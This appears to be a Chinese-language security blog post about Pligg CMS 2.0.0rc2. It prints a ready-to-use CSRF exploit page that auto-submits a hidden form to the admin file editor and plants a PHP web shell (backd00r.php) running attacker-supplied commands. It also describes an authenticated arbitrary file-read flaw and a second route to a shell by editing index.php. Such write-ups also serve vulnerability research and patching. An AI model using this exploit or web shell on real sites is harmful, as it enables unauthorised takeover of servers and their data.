Pligg CMS 2.0.0rc2 – CSRF File Creation Vulnerability
-Create File by CSRF Exploit- <html> <body onload="document.form.submit();"> <form action="http://[target]/pligg/admin/admin_editor.php" method="post" name="form"> <input type="hidden" name="updatedfile" value="<?php system($_REQUEST['cmd']); ?>"> <input type="hidden" name="the_file2" value="/var/www/html/pligg/backd00r.php"> <input type="hidden" name="isempty" value="1"> <input type="hidden" name="save" value="Save+Changes"> </form> </body> </html>
上面为漏洞利用代码的exp,接下来我们看看源代码。
我后来分析了下,还有一个漏洞,为查看任意页面源代码漏洞,不过需要登录到后台才可行,都说后台是防御最薄弱的地方,一点都没错。
第一个漏洞利用,因为Post参数the_file没有过滤,加上fread函数可以查看页面内容,接下来我们构造一个存在的文件,由于我是在wamp开发,所以我就实现查看下这个admin_editor.php文件代码。代码修改如下:
<select class="input-xlarge" name="the_file"> <option value="admin_editor.php">../templates/bootstrap/about_box.tpl</option>
效果图如下:
然后第二个漏洞就是该作者在exploit-db网上发现的csrf getshell漏洞。作者是创建一个新文件,然后写入一个web后门,拿到webshell.
我们可以用另外一个方法也是可以用来getshell,先利用第一个漏洞编辑站点目录index.php,接着我们编辑保存下。
然后运保存成功后,查看index.php,然后就生成了test.php文件